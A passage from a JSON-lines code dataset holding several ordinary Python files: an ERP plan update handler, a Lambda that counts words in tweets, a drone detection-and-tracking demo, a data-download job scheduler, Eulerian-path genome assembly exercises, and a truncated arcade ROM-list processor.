ReplaceOne(update_query, plan_data, upsert=True)\n                    plan_upsert_list.append(plan_upsert_data)\n\n                if plan_upsert_list:\n                    # 批量更新计划\n                    plan_collection.bulk_write(plan_upsert_list)\n            self.send_response_data(MesCode.success, plan_data_list, '')\n            get_logger().info('从ERP更新计划数据成功:{}'.format(plan_data_list))\n        except Exception as e:\n            log_exception(e, '从ERP更新计划数据失败')\n            self.send_response_data(MesCode.fail, None, '从ERP更新计划数据失败')\n","repo_name":"angiegigishang/workPractice","sub_path":"electricalindustry/plan_management/server/src/plan_management/handlers/http_handler/etl_process_handler.py","file_name":"etl_process_handler.py","file_ext":"py","file_size_in_byte":6613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"25959272345","text":"import json\nimport os\nimport requests\nimport tweepy\nimport collections\n\n\ndef lambda_handler(event, context):\n\n    try:\n        query = event[\"queryStringParameters\"][\"id\"]\n    except Exception as e:\n        print(str(e))\n        return {\n            \"statusCode\": 200,\n            \"body\": json.dumps({\"message\": str(e)}),\n        }\n\n    API_KEY = os.getenv(\"API_KEY\")\n    API_ACCESS = os.getenv(\"API_ACCESS\")\n    ACCESS_TOKEN = os.getenv(\"ACCESS_TOKEN\")\n    ACCESS_TOKEN_SECRET = os.getenv(\"ACCESS_TOKEN_SECRET\")\n\n    # Twitter API credentials\n    auth = tweepy.OAuthHandler(API_KEY, API_ACCESS)\n    auth.set_access_token(ACCESS_TOKEN, ACCESS_TOKEN_SECRET)\n    api = tweepy.API(auth)\n    item_count = 100\n\n    # tweet_list = [\n    #     tweet.text\n    #     for tweet in tweepy.Cursor(api.user_timeline, id=query).items(item_count)\n    #     if (list(tweet.text)[:2] != [\"R\", \"T\"]) & (list(tweet.text)[0] != \"@\")\n    # ]\n\n    tweet_list = [\n        tweet.text\n        for tweet in tweepy.Cursor(api.search_tweets, q=query, lang=\"en\").items(item_count)\n        if (list(tweet.text)[:2] != [\"R\", \"T\"]) & (list(tweet.text)[0] != \"@\")\n    ]\n\n    temp_tweet = \" \".join(tweet_list)\n    temp_list = temp_tweet.split(\" \")\n    remove_list = [\n        query,\n        \"a\",\n        \"to\",\n        \"for\",\n        \"in\",\n        \"of\",\n        \"the\",\n        \"and\",\n        \"is\",\n        \"on\",\n        \"I\",\n        \"you\",\n        \"it\",\n        \"that\",\n        \"this\",\n        \"with\",\n        \"at\",\n        \"from\",\n        \"by\",\n        \"are\",\n        \"as\",\n        \"be\",\n        \"have\",\n        \"or\",\n        \"an\",\n        \"will\",\n        \"my\",\n        \"can\",\n        \"not\",\n        \"but\",\n        \"was\",\n        \"what\",\n        \"your\",\n        \"all\",\n        \"about\",\n        \"there\",\n        \"if\",\n        \"when\",\n        \"how\",\n        \"up\",\n        \"out\",\n        \"so\",\n        \"some\",\n        \"he\",\n        \"she\",\n        \"they\",\n        \"me\",\n        \"we\",\n        \"us\",\n        \"our\",\n        \"their\",\n        \"them\",\n        \"his\",\n        \"her\",\n        \"their\",\n        \"its\",\n        \"am\",\n        \"do\",\n        \"does\",\n        \"did\",\n        \"doing\",\n        \"done\",\n        \"into\",\n        \"than\",\n        \"too\",\n        \"very\",\n        \".\",\n        \"1\",\n        \"2\",\n        \"3\",\n        \"4\",\n        \"5\",\n        \"6\",\n        \"7\",\n        \"8\",\n        \"9\",\n        \"-\",\n        \"\",\n    ]\n\n    temp_list = [i for i in temp_list if i not in remove_list]\n    counter = collections.Counter(temp_list)\n    counter = counter.most_common(10)\n    print(counter)\n    return {\n        \"statusCode\": 200,\n        \"headers\": {\n            \"Access-Control-Allow-Origin\": \"*\",\n            \"Access-Control-Allow-Methods\": \"POST,GET,PUT,DELETE\",\n            \"Access-Control-Allow-Headers\": \"Content-Type\",\n        },\n        \"body\": json.dumps({\"tweetList\": tweet_list, \"counter\": counter}),\n    }\n","repo_name":"hasesho05/backend-WordChecker-on-Twitter","sub_path":"hello_world/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"13387554832","text":"import argparse\r\nimport os\r\nimport time\r\nfrom pathlib import Path\r\nimport numpy as np\r\nimport cv2\r\nimport torch\r\nimport torch.backends.cudnn as cudnn\r\nfrom numpy import random\r\nfrom models.experimental import attempt_load\r\nfrom utils.datasets import LoadStreams, LoadImages\r\nfrom utils.plots import plot_one_box\r\nfrom utils.torch_utils import time_synchronized, TracedModel\r\nimport time \r\nfrom ByteTrack.tracker.byte_tracker import BYTETracker\r\nfrom utils.visualize import plot_tracking\r\nfrom ByteTrack.tracking_utils.timer import Timer\r\nfrom DetectModel import Detect\r\nimport json\r\ndef track_demo(video_path=\"dataset/Drone-Detection&Tracking/test/01_2192_0001-1500\",save_txt=True):\r\n    txt_dir = \"result_bt\"\r\n    if not os.path.exists(txt_dir):\r\n        os.makedirs(txt_dir)\r\n    \r\n    # Detected\r\n    conf_thres = 0.1\r\n    iou_thres = 0.25\r\n    img_size = 640\r\n    weights = \"runs/train/exp/weights/best.pt\"\r\n    device = 0\r\n    half_precision = True\r\n    deteted = Detect(weights, device, img_size, conf_thres, iou_thres, single_cls=False, half_precision=half_precision, trace= False)\r\n   \r\n    # Tracking\r\n    track_thresh = 0.5\r\n    track_buffer = 30\r\n    match_thresh = 0.8\r\n    frame_rate = 25\r\n    aspect_ratio_thresh = 1.6\r\n    min_box_area = 10\r\n    mot20_check = False\r\n    res_file = os.path.join(txt_dir, video_path.split('/')[-1]+\".txt\")\r\n\r\n    print(track_thresh, track_buffer, match_thresh, mot20_check, frame_rate)\r\n    tracker = BYTETracker(track_thresh, track_buffer, match_thresh, mot20_check, frame_rate)\r\n    timer = Timer()\r\n    # cap = cv2.VideoCapture(video_path)\r\n    frames=sorted(os.listdir(video_path))\r\n    frames.remove(\"IR_label.json\")\r\n    frame_id = 0\r\n    results = []\r\n    for i,frame in enumerate(frames):\r\n        im0=cv2.imread(os.path.join(video_path,frame))\r\n        height, width, _ = im0.shape\r\n        t1 = time.time()\r\n        #2-dim list\r\n        if i==0:\r\n            with open(os.path.join(video_path,\"IR_label.json\")) as f:\r\n                res_first=json.load(f)\r\n            dets=res_first[\"res\"] if \"res\" in res_first.keys() else res_first[\"gt_rect\"][0:1]\r\n            dets[0][2]+=dets[0][0]\r\n            dets[0][3]+=dets[0][1]\r\n            dets[0].append(1.0)\r\n        else:\r\n            dets = deteted.inference(im0)\r\n        if len(dets)>1:\r\n            max_idx=0\r\n            for i,d in enumerate(dets):\r\n                if d[4]>dets[max_idx][4]:\r\n                    max_idx=i\r\n            dets=dets[max_idx:max_idx+1]\r\n        online_targets = tracker.update(np.array(dets), [height, width], (height, width)) if len(dets)!=0 else []\r\n        online_tlwhs = []\r\n        online_ids = []\r\n        online_scores = []\r\n        #print(len(online_targets)==0)\r\n        for t in online_targets:\r\n            tlwh = t.tlwh\r\n            tid = t.track_id\r\n            vertical = tlwh[2] / tlwh[3] > aspect_ratio_thresh\r\n            online_tlwhs.append(tlwh)\r\n            online_ids.append(tid)\r\n            online_scores.append(t.score)\r\n            # save result for evaluation\r\n            tmp_list=[int(tlwh[0]),int(tlwh[1]),int(tlwh[2]),int(tlwh[3])]\r\n            results.append(\r\n                tmp_list\r\n            )\r\n\r\n        if online_targets==[]:\r\n            results.append([])\r\n        t2 = time.time()\r\n        print(f\"FPS:{1 /(t2-t1):.2f}\")\r\n        timer.toc()\r\n        #print(1. / timer.average_time)\r\n        # online_im = plot_tracking(im0, online_tlwhs, online_ids, frame_id=frame_id + 1, fps=1. / 1 /(t2-t1))\r\n        # cv2.imshow(\"Frame\", online_im)\r\n    if save_txt:\r\n        with open(res_file, 'w+') as f:\r\n            f.write(str({\"res\":results}))\r\n        \r\n    return results\r\nif __name__ == \"__main__\":\r\n    parser = argparse.ArgumentParser()\r\n    parser.add_argument('--source', type=str, default='inference/images', help='source')  # file/folder, 0 for webcam\r\n    opt = parser.parse_args()\r\n    track_demo(opt.source)","repo_name":"LighteningDarkness/Drone-Detection-and-Tracking","sub_path":"track_demo.py","file_name":"track_demo.py","file_ext":"py","file_size_in_byte":3898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"16603581644","text":"\"\"\"\n   Package colethon\n   Module  scheduler_bolsas.py\n\n   Modulo para agendar as tarefas relativas a bolsas de valores,\n   atraves do agendador utilitario do Python (lib schedule).\n\"\"\"\n\n# ----------------------------------------------------------------------------\n# DEPENDENCIAS\n# ----------------------------------------------------------------------------\n\n# Built-in/Generic modules\nimport time\nimport logging\nfrom queue import Queue\n\n# Libs/Frameworks modules\n# Own/Project modules\nfrom colethon.conf import app_config\nfrom colethon.jobs.bolsa.download_ibovespa_b3 import DownloadIbovespaB3\nfrom colethon.jobs.bolsa.download_intraday_b3 import DownloadIntradayB3\nfrom colethon.jobs.caixa.download_loterias_caixa import DownloadLoteriasCaixa\nfrom colethon.jobs.caixa.compute_sorteios_loterias import ComputeSorteiosLoterias\nfrom colethon.jobs.infra.zip_files_mql5 import ZipFilesMql5\nfrom colethon.jobs.infra.move_files_intranet import MoveFilesIntranet\n\n\n# ----------------------------------------------------------------------------\n# VARIAVEIS GLOBAIS\n# ----------------------------------------------------------------------------\n\n# obtem uma instância do logger para o modulo corrente:\nlogger = logging.getLogger(__name__)\n\n# pilha para armazenar os jobs a serem agendados/executados sequencialmente,\n# em ordem FIFO (First In, First Out), pois Python nao eh multi-thread na real.\nqueue_jobs = Queue(maxsize=10)\n\n\n# ----------------------------------------------------------------------------\n# MAIN ENTRY-POINT\n# ----------------------------------------------------------------------------\n\n# entry-point de execucao para tarefas agendadas:\ndef main():\n    logger.info(\"Iniciando agendamento dos jobs relativos a Bolsas de Valores...\")\n\n    # --- Agendamento dos Jobs em Fila ---------------------------------------\n\n    # Download da Carteira Teorica do IBovespa\n    queue_jobs.put(DownloadIbovespaB3())\n\n    # Download das Cotacoes IntraDay da B3\n    queue_jobs.put(DownloadIntradayB3())\n\n    # Download dos Resultados das Loterias da Caixa:\n    queue_jobs.put(DownloadLoteriasCaixa())\n\n    # Processamento dos sorteios das das Loterias:\n    queue_jobs.put(ComputeSorteiosLoterias())\n\n    # Compactar arquivos CSV nos terminais MT5\n    queue_jobs.put(ZipFilesMql5())\n\n    # Copiar/mover arquivos para outra estacao\n    queue_jobs.put(MoveFilesIntranet())\n\n    # --- Monitoramento das Execucoes ----------------------------------------\n\n    # mantem parametros em variaveis locais para melhor performance:\n    loop_wait = app_config.SC_time_wait\n\n    # mantem o script em execucao permanente enquanto houver jobs enfileirados...\n    while not queue_jobs.empty():  # tem mais jobs?\n        # obtem o proximo job e dispara sua execucao:\n        job_obj = queue_jobs.get()  # Fila do tipo FIFO: First In (put), First Out (get)\n        job_idle_seconds = job_obj.job_interval  # cada job tem seu tempo de espera especifico\n\n        # executa o job em loop infinito, para o caso de ocorrer algum erro momentaneo\n        while True:\n            try:\n                ret_ok = job_obj.run_job()  # por enquanto, nao utiliza callbacks\n            except:\n                ret_ok = False\n            # se o processamento foi realizado com sucesso, segue para proximo job:\n            if ret_ok:\n                break\n            else:\n                # aguarda um tempo antes de executar novamente\n                time.sleep(job_idle_seconds)\n\n        # aguarda periodo de tempo padrao, antes de executar proximo job:\n        time.sleep(loop_wait)\n\n    # finalizados todos os jobs, informa que o processamento foi ok:\n    logger.info(\"Finalizados todos os jobs relativos a Bolsas de Valores.\")\n    return 0\n\n# ----------------------------------------------------------------------------\n","repo_name":"olidv/Colethon","sub_path":"src/main/colethon/scheduler_bolsas.py","file_name":"scheduler_bolsas.py","file_ext":"py","file_size_in_byte":3789,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"6248873097","text":"import random\r\nimport copy\r\nfrom functools import reduce\r\nfrom itertools import product\r\n\r\n### HamiltonianCycle(Graph) ###\r\n# Input: The adjacency list of a directed graph.\r\n# Output: An Hamiltonian cycle in this graph.\r\n#\r\n# Sample Input:\r\n#     0 -> 3\r\n#     1 -> 0\r\n#     2 -> 1,6\r\n#     3 -> 2\r\n#     4 -> 2\r\n#     5 -> 4\r\n#     6 -> 5,8\r\n#     7 -> 9\r\n#     8 -> 7\r\n#     9 -> 6\r\n# Sample Output:\r\n# [8, 7, 9, 6, 5, 4, 2, 1, 0, 3]\r\n\r\ndef HamiltonianCycle(Graph):\r\n    nodes = list(Graph.keys())\r\n    Cycle = list()\r\n\r\n    all_nodes_flag = 0\r\n    while not all_nodes_flag:  # while there are unexplored edges in Graph\r\n        # initialization - starting node\r\n        node_visit_mark = [0]*len(nodes)  # mark which nodes were visited -> 1 = visited\r\n        Cycle.append(random.choice(nodes))  # random start node\r\n        node_visit_mark[nodes.index(Cycle[0])] = 1\r\n        # other nodes\r\n        next_node = random.choice(Graph[Cycle[0]])\r\n        while not node_visit_mark[nodes.index(next_node)]:  # while next was not visited\r\n            Cycle.append(next_node)\r\n            node_visit_mark[nodes.index(Cycle[-1])] = 1\r\n            next_node = random.choice(Graph[Cycle[-1]])\r\n        if all(node_visit_mark):\r\n            all_nodes_flag = 1\r\n        else:\r\n            Cycle = list()\r\n    return Cycle\r\n\r\n# ---------------------------------------------------------------------------------------------\r\n### EulerianCycle(Graph) ###\r\n# Code Challenge: Solve the Eulerian Cycle Problem.\r\n#      Input: The adjacency list of an Eulerian directed graph.\r\n#      Output: An Eulerian cycle in this graph.\r\n#\r\n# Sample Input:\r\n#     0 -> 3\r\n#     1 -> 0\r\n#     2 -> 1,6\r\n#     3 -> 2\r\n#     4 -> 2\r\n#     5 -> 4\r\n#     6 -> 5,8\r\n#     7 -> 9\r\n#     8 -> 7\r\n#     9 -> 6\r\n#    ->     Graph = {0:[3], 1:[0], 2:[1. 6], 3:[2], 4:[2], 5:[4], 6:[5, 8], 7:[9], 8:[7], 9:[6]}\r\n# Sample Output:\r\n#     6->8->7->9->6->5->4->2->1->0->3->2->6\r\n\r\ndef EulerianCycle (Graph):\r\n    # create edges list\r\n    edges = []\r\n    for n in list(Graph.keys()):\r\n        for e in Graph[n]:\r\n            edges.append((n, e))\r\n\r\n    Cycle = []\r\n    all_edges_flag = 0\r\n    while not all_edges_flag:  # while there are unexplored edges in Graph\r\n        # initialization - starting edge\r\n        edge_visit_mark = [0]*len(edges)  # mark which edges were visited -> 1 = visited\r\n        start_edge = random.choice(edges)  # random start edge\r\n        Cycle.append(start_edge[0])\r\n        Cycle.append(start_edge[1])\r\n        edge_visit_mark[edges.index(start_edge)] = 1\r\n        # other edges\r\n        next_edge = (Cycle[-1], random.choice(Graph[Cycle[-1]]))\r\n        while not edge_visit_mark[edges.index(next_edge)]:  # while next edge was not visited\r\n            Cycle.append(next_edge[1])\r\n            edge_visit_mark[edges.index(next_edge)] = 1\r\n            next_edge = (Cycle[-1], random.choice(Graph[Cycle[-1]]))\r\n        if all(edge_visit_mark):  # and Graph[Cycle[-1]] == Cycle[0]:\r\n            all_edges_flag = 1\r\n        else:\r\n            Cycle = list()\r\n    return Cycle\r\n\r\n## another version\r\ndef EulerianCycle_v2(Graph):\r\n    edge_dict = copy.deepcopy(Graph)\r\n\r\n    # initializing - choosing random start node\r\n    cur_node = random.choice(list(edge_dict.keys()))\r\n    Cycle = [cur_node]\r\n\r\n    flag = 1\r\n    while flag:\r\n        Cycle.append(edge_dict[cur_node][0])  # add next node to Cycle\r\n\r\n        # deleting the edge visited from edge_dict, if the node has no more edges -> deleting the node\r\n        if len(edge_dict[cur_node]) == 1:\r\n            del edge_dict[cur_node]\r\n        else:\r\n            edge_dict[cur_node] = edge_dict[cur_node][1:]\r\n\r\n        # checking the cycle:\r\n        if Cycle[-1] in edge_dict:  # if next node has more edges (its in edge_dict), update cur_node and continue\r\n            cur_node = Cycle[-1]\r\n        else:  # if next node has no more edges\r\n            if len(edge_dict) > 0:  # if there are unvisited edges, restart new Cycle\r\n                edge_dict = copy.deepcopy(Graph)\r\n                cur_node = random.choice(list(edge_dict.keys()))\r\n                Cycle = [cur_node]\r\n                print('B')\r\n            else: # if there are no unvisited edges\r\n                flag = 0\r\n    return Cycle\r\n\r\n## fast version\r\ndef EulerianCycle_fast(edge_dict):\r\n    '''Generates an Eulerian cycle from the given edges.'''\r\n    current_node = list(edge_dict.keys())[0]\r\n    path = [current_node]\r\n    # Get the initial cycle.\r\n    while True:\r\n        path.append(edge_dict[current_node][0])\r\n\r\n        if len(edge_dict[current_node]) == 1:\r\n            del edge_dict[current_node]\r\n        else:\r\n            edge_dict[current_node] = edge_dict[current_node][1:]\r\n\r\n        if path[-1] in edge_dict:\r\n            current_node = path[-1]\r\n        else:\r\n            break\r\n\r\n    # Continually expand the initial cycle until we're out of edge_dict.\r\n    while len(edge_dict) > 0:\r\n        for i in range(len(path)):\r\n            if path[i] in edge_dict:\r\n                current_node = path[i]\r\n                cycle = [current_node]\r\n                while True:\r\n                    cycle.append(edge_dict[current_node][0])\r\n\r\n                    if len(edge_dict[current_node]) == 1:\r\n                        del edge_dict[current_node]\r\n                    else:\r\n                        edge_dict[current_node] = edge_dict[current_node][1:]\r\n\r\n                    if cycle[-1] in edge_dict:\r\n                        current_node = cycle[-1]\r\n                    else:\r\n                        break\r\n\r\n                path = path[:i] + cycle + path[i+1:]\r\n                break\r\n    return path\r\n\r\n# ---------------------------------------------------------------------------------------------\r\n### EulerianPath(Graph) ###\r\n#Code Challenge: Solve the Eulerian Path Problem.\r\n#      Input: The adjacency list of a directed graph that has an Eulerian path.\r\n#      Output: An Eulerian path in this graph.\r\n\r\n# Sample Input:\r\n#     0 -> 2\r\n#     1 -> 3\r\n#     2 -> 1\r\n#     3 -> 0,4\r\n#     6 -> 3,7\r\n#     7 -> 8\r\n#     8 -> 9\r\n#     9 -> 6\r\n#    ->     Graph = {0:[2], 1:[3], 2:[1], 3:[0,4], 6:[3, 7], 7:[8], 8:[9], 9:[6]}\r\n# Sample Output:\r\n#     6->7->8->9->6->3->0->2->1->3->4\r\n#    ->     [6, 7, 8, 9, 6, 3, 0, 2, 1, 3, 4]\r\n\r\ndef EulerianPath(edge_dict):\r\n    # Determine the unbalanced edges.\r\n    out_values = reduce(lambda a, b: a + b, edge_dict.values())\r\n    for node in set(out_values + list(edge_dict.keys())):\r\n        out_value = out_values.count(node)\r\n        if node in edge_dict:\r\n            in_value = len(edge_dict[node])\r\n        else:\r\n            in_value = 0\r\n\r\n        if in_value < out_value:\r\n            unbalanced_from = node\r\n        elif out_value < in_value:\r\n            unbalanced_to = node\r\n\r\n    # Add an edge connecting the unbalanced edges.\r\n    if unbalanced_from in edge_dict:\r\n        edge_dict[unbalanced_from].append(unbalanced_to)\r\n    else:\r\n        edge_dict[unbalanced_from] = [unbalanced_to]\r\n\r\n    # Get the Eulerian Cycle from the edges, including the unbalanced edge.\r\n    cycle = EulerianCycle_fast(edge_dict)\r\n\r\n    # Find the location of the unbalanced edge in the eulerian cycle.\r\n    divide_point = list(filter(lambda i: cycle[i:i + 2] == [unbalanced_from, unbalanced_to], range(len(cycle) - 1)))[0]\r\n\r\n    # Remove the unbalanced edge, and shift appropriately, overlapping the head and tail.\r\n    return cycle[divide_point + 1:] + cycle[1:divide_point + 1]\r\n\r\n# ---------------------------------------------------------------------------------------------\r\n### universal_circular_string(k) ###\r\n# Code Challenge: Solve the k-Universal Circular String Problem.\r\n#      Input: An integer k.\r\n#      Output: A k-universal circular string.\r\n# Sample Input: 4\r\n# Sample Output: 0000110010111101\r\n\r\ndef universal_circular_string (k):\r\n    # Create edges dict for binary k mers (2^k k mers)\r\n    universal_dict = {}\r\n    for kmer in [''.join(item) for item in product('01', repeat=k)]:\r\n        if kmer[:-1] in universal_dict:\r\n            universal_dict[kmer[:-1]].append(kmer[1:])\r\n        else:\r\n            universal_dict[kmer[:-1]] = [kmer[1:]]\r\n\r\n    # Get the cycle:\r\n    path = EulerianCycle_fast(universal_dict)\r\n    # remove the repeated last entry for the associated path (last and first entry are overlapping):\r\n    path_string = ''.join([item[0] for item in path[:-1]])\r\n    return path_string\r\n\r\n# ---------------------------------------------------------------------------------------------\r\n### PairedComposition(k, d, Text) ###\r\n#      Input: k and d integers and string Text\r\n#      Output:(k,d)-mer composition of Text (list of lists) -> the collection of all (k,d)- mers in Text\r\n#      (including repeated (k,d)-mers)\r\n# Given a string Text, a (k,d)-mer is a pair of k-mers in Text separated by distance d.\r\n# For example, [AAT,TGG] is a (3,4)-mer in TAATGCCATGGGATGTT.\r\n\r\n# Sample Input: 3, 1, 'TAATGCCATGGGATGTT'\r\n# Sample Output:\r\n# [[AAT,CCA], [ATG,CAT], [ATG,GAT], [CAT,GGA], [CCA,GGG], [GCC,TGG], ->\r\n#                                          -> [GGA,GTT, [GGG,TGT], [TAA,GCC], [TGC,ATG], [TGG,ATG]]\r\n\r\ndef PairedComposition(k, d, Text):\r\n    composition = []\r\n    for i in range(len(Text)-2*k-d+1):\r\n        composition.append([Text[i:i+k], Text[i+k+d:i+d+2*k]])\r\n    sorted_composition = sorted(composition, key=lambda x: x[0])\r\n    return sorted_composition\r\n\r\n# ---------------------------------------------------------------------------------------------\r\n### StringReconstructionFromPairs(k, d) ###\r\n# Challenge: Solve the String Reconstruction from Read-Pairs Problem.\r\n#      Input: Integers k and d followed by a collection of paired k-mers PairedReads.\r\n#      Output: A string Text with (k, d)-mer composition equal to PairedReads.\r\n\r\n# Sample Input: k = 4 ; d = 2 ;\r\n# [[GAGA,TTGA], [TCGT,GATG], [CGTG,ATGT], [TGGT,TGAG], [GTGA,TGTT], ->\r\n#                                        -> [GTGG,GTGA], [TGAG,GTTG], [GGTC,GAGA], [GTCG,AGAT]]\r\n# Sample Output:\r\n#     GTGGTCGTGAGATGTTGA\r\n\r\ndef StringReconstructionFromPairs(k, d, paired_kmers):\r\n\r\n    ## Construct a dictionary of edges from the paired reads:\r\n    # Graph: edge = paired kmers ((kmer1, kmer2)); node = prefix (start node) / suffix (end node)\r\n    # the graph is represented by dictionery: key = prefix (start node of an edge); value =  suffix (ending node of an edge)\r\n\r\n    paired_kmers_dict = {}\r\n    for pair in paired_kmers:\r\n        if (pair[0][:-1], pair[1][:-1]) in paired_kmers_dict:  # if paired prefix is in dict\r\n            paired_kmers_dict[(pair[0][:-1], pair[1][:-1])].append((pair[0][1:], pair[1][1:]))  # add paired suffix\r\n        else:  # if paired prefix is not in dict\r\n            paired_kmers_dict[(pair[0][:-1], pair[1][:-1])] = [(pair[0][1:], pair[1][1:])]  # add paired prefix (= key) and paired sufffix (= value)\r\n\r\n    ## Get an eulerian path from the paired edges:\r\n    paired_path = EulerianPath(paired_kmers_dict)\r\n\r\n    ## Recombine the paths, accounting for their overlaps.\r\n    strings = [paired_path[0][i] + ''.join(map(lambda x: x[i][-1], paired_path[1:])) for i in range(2)]\r\n    return strings[0][:k + d] + strings[1]\r\n\r\n# ---------------------------------------------------------------------------------------------\r\n### ContigGeneration(kmers) ###\r\n# Contig Generation Problem: Generate the contigs from a collection of reads (with imperfect coverage).\r\n#      Input: A collection of k-mers kmers.\r\n#      Output: All contigs in DeBruijn(Patterns).\r\n\r\n# Sample Input: ['ATG', 'ATG', 'TGT', 'TGG', 'CAT', 'GGA', 'GAT', 'AGA']\r\n# Sample Output:['AGA', 'ATG', 'ATG', 'CAT', 'GAT', 'TGGA', 'TGT']\r\n\r\ndef flatten (l):\r\n    return flatten(l[0]) + (flatten(l[1:]) if len(l) > 1 else []) if type(l) is list else [l]\r\n\r\ndef ContigGeneration (kmers):\r\n    # Construct a dictionary of edges.\r\n    edges = {}\r\n    for kmer in kmers:\r\n        if kmer[:-1] in edges:\r\n            edges[kmer[:-1]].append(kmer[1:])\r\n        else:\r\n            edges[kmer[:-1]] = [kmer[1:]]\r\n\r\n    # Determine the balanced and unbalanced edges.\r\n    balanced, unbalanced = [], []\r\n    out_values = reduce(lambda a, b: a + b, edges.values())\r\n    for node in set(out_values + list(edges.keys())):\r\n        out_value = out_values.count(node)\r\n        if node in edges:\r\n            in_value = len(edges[node])\r\n        else:\r\n            in_value = 0\r\n\r\n        if in_value == out_value == 1:\r\n            balanced.append(node)\r\n        else:\r\n            unbalanced.append(node)\r\n\r\n    # Generate the contigs.\r\n    get_contigs = lambda s, c: flatten(\r\n        [c + e[-1] if e not in balanced else get_contigs(e, c + e[-1]) for e in edges[s]])\r\n    contigs = sorted(flatten([get_contigs(start, start) for start in set(unbalanced) & set(edges.keys())]))\r\n    return contigs\r\n\r\n\r\n","repo_name":"zoharg2403/Coursera-Bioinfprmatics-II","sub_path":"Bioinformatics2_2.py","file_name":"Bioinformatics2_2.py","file_ext":"py","file_size_in_byte":12765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"36600915212","text":"import sys\nimport re\nimport zipfile\nimport os\n\ndef lreplace(pattern, sub, string):\n    \"\"\"\n    Replaces 'pattern' in 'string' with 'sub' if 'pattern' starts 'string'.\n    \"\"\"\n    return re.sub('^%s' % pattern, sub, string)\n\ndef load_file(filename):\n  with open(filename) as fp:\n\n   # create a list\n   romlist=[]\n   current_entry=None\n   # do stuff with fp   \n   line = fp.readline()\n   cnt = 1\n   zip1p = re.compile('set zip1=(.*)')\n   zip2p = re.compile('set zip2=(.*)')\n   ifilesp = re.compile('set ifiles=(.*)')\n   md5p= re.compile('set md5valid=(.*)')\n   ofilep= re.compile('set *ofile=(.*)')\n   fullnamep= re.compile('set fullname=(.*)')\n   while line:\n       #print(\"Line {}: {}\".format(cnt, line.strip()))\n       ar1=zip1p.findall(line)\n       zip1=''\n       if (ar1):\n           zip1=ar1[0]\n           if (zip1):\n               if (current_entry):\n                romlist.append(current_entry)\n               current_entry={}\n               current_entry['zip1']=zip1.strip().replace('\\\\','/')\n       ar1=zip2p.findall(line)\n       if (ar1):\n          current_entry['zip2']=ar1[0].strip().replace('\\\\','/')\n       ar1=ifilesp.findall(line)\n       if (ar1):\n\n          current_entry['ifiles']=ar1[0].strip().replace('\\\\','/').split('+')\n       ar1=md5p.findall(line)\n       if (ar1):\n          current_entry['md5']=ar1[0].strip()\n       ar1=ofilep.findall(line)\n       if (ar1):\n          current_entry['ofile']=ar1[0].strip()\n       ar1=fullnamep.findall(line)\n       if (ar1):\n          current_entry['fullname']=ar1[0].strip()\n               \n\n           \n       cnt += 1\n       line = fp.readline()\n   if (current_entry):\n      romlist.append(current_entry)\n\n\n   return romlist\n\ndef process_roms(romlist):\n    print(romlist[0]['ofile'].split('.'))\n    rbfname=romlist[0]['ofile'].split('.')[1]\n    rbfname=rbfname.capitalize()\n    if (rbfname==\"Dkong\"):\n        rbfname=\"DonkeyKong\"\n    elif (rbfname==\"Alibbt\"):\n        rbfname=\"Alibaba\"\n    elif (rbfname==\"Asteroid\"):\n        rbfname=\"Asteroids\"\n    elif (rbfname==\"Astdelux\"):\n        rbfname=\"AsteroidsDeluxe\"\n    elif (rbfname==\"Azurn\"):\n        rbfname=\"AzurianAttack\"\n    elif (rbfname==\"Blckhl\"):\n        rbfname=\"BlackHole\"\n    elif (rbfname==\"Bmbjck\"):\n        rbfname=\"BombJack\"\n    elif (rbfname==\"Brubbr\"):\n        rbfname=\"BurningRubber\"\n    elif (rbfname==\"Btime\"):\n        rbfname=\"BurgerTime\"\n    elif (rbfname==\"Bwidow\"):\n        rbfname=\"BlackWidow\"\n    elif (rbfname==\"Canyon\"):\n        rbfname=\"CanyonBomber\"\n    elif (rbfname==\"Centiped\"):\n        rbfname=\"Centipede\"\n    elif (rbfname==\"Cclimb\"):\n        rbfname=\"CrazyClimber\"\n    elif (rbfname==\"Ckong\"):\n        rbfname=\"CrazyKong\"\n    elif (rbfname==\"Crush\"):\n        rbfname=\"CrushRoller\"\n    elif (rbfname==\"Csmvng\"):\n        rbfname=\"CosmicAvenger\"\n    elif (rbfname==\"Ctcomb\"):\n        rbfname=\"Catacomb\"\n    elif (rbfname==\"Dorodn\"):\n        rbfname=\"Dorodon\"\n    elif (rbfname==\"Drmshp\"):\n        rbfname=\"DreamShopper\"\n    elif (rbfname==\"Frggr\"):\n        rbfname=\"Frogger\"\n    elif (rbfname==\"Galaxn\"):\n        rbfname=\"Galaxian\"\n    elif (rbfname==\"Gorkns\"):\n        rbfname=\"Gorkans\"\n    elif (rbfname==\"Ladybg\"):\n        rbfname=\"LadyBug\"\n    elif (rbfname==\"Lizwiz\"):\n        rbfname=\"LizardWizard\"\n    elif (rbfname==\"Llander\"):\n        rbfname=\"LunarLander\"\n    elif (rbfname==\"Mspcmn\"):\n        rbfname=\"MsPacman\"\n    elif (rbfname==\"Orbtrn\"):\n        rbfname=\"Orbitron\"\n    elif (rbfname==\"Pacclb\"):\n        rbfname=\"PacmanClub\"\n    elif (rbfname==\"Pacpls\"):\n        rbfname=\"PacmanPlus\"\n    elif (rbfname==\"Phnx\"):\n        rbfname=\"Phoenix\"\n    elif (rbfname==\"Ponpok\"):\n        rbfname=\"Ponpoko\"\n    elif (rbfname==\"Scrmbl\"):\n        rbfname=\"Scramble\"\n    elif (rbfname==\"Snpjck\"):\n        rbfname=\"SnapJack\"\n    elif (rbfname==\"Sprglb\"):\n        rbfname=\"SuperGlob\"\n    elif (rbfname==\"Sbrkout\"):\n        rbfname=\"SuperBreakout\"\n    elif (rbfname==\"Tmplt\"):\n        rbfname=\"TimePilot\"\n    elif (rbfname==\"Travrusa\"):\n        rbfname=\"TraverseUSA\"\n    elif (rbfname==\"Vvcar\"):\n        rbfname=\"VanVanCar\"\n    elif (rbfname==\"Warbug\"):\n        rbfname=\"WarOfTheBugs\"\n    elif (rbfname==\"Wdpckr\"):\n        rbfname=\"Woodpecker\"\n    elif (rbfname==\"Xevs\"):\n     